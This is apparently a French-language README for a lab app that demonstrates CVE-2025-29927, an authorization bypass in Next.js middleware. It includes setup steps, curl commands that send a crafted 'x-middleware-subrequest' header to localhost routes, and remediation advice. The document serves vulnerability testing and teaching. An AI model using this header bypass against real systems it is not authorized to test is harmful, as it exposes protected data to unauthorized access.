
Teste et démontre CVE-2025-29927, un contournement d'autorisation middleware Next.js. Inclut des scripts de test d'exploitation et d'accès normal, plus des conseils de remédiation.
Cette application illustre la vulnérabilité de contournement d'autorisation du middleware Next.js (CVE-2025-29927).
CVE-2025-29927 est une vulnérabilité de contournement d'autorisation dans le middleware Next.js. En envoyant un en-tête HTTP spécialement conçu (x-middleware-subrequest), un attaquant peut contourner les contrôles d'autorisation implémentés dans le middleware, obtenant potentiellement un accès à des ressources protégées.
Installer les dépendances :
cd /var/www/react-nextjs/test-middleware-skip
npm install
Lancer le serveur de développement :
npm run dev
Le serveur démarrera sur http://localhost:3000
Essayez d'accéder à la route protégée normalement :
npm run test-normal
ou
curl -v http://localhost:3000/protected-data
Vous devriez recevoir une réponse 401 Non autorisé, car le middleware bloque l'accès.
Essayez d'accéder à la route protégée avec l'en-tête d'exploitation :
npm run test-exploit
ou
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/protected-data
Si l'application est vulnérable, vous recevrez une réponse 200 OK avec les données protégées.
Accès normal (devrait être bloqué) :
curl -v http://localhost:3000/api/protected
Avec l'exploitation :
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
Pour corriger cette vulnérabilité, vous devez :
Mettre à jour Next.js vers une version corrigée :
Si vous ne pouvez pas mettre à jour, mettez en place un proxy inverse (comme Nginx ou Cloudflare) qui supprime l'en-tête x-middleware-subrequest des requêtes entrantes.
Testez si la route API est vulnérable :
# Requête normale (devrait être bloquée)
curl -v http://localhost:3000/api/protected
# Avec l'en-tête d'exploitation
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
Cet outil est fourni uniquement à des fins éducatives et de test de sécurité. Utilisez-le pour vérifier si vos propres applications Next.js sont vulnérables et nécessitent une correction.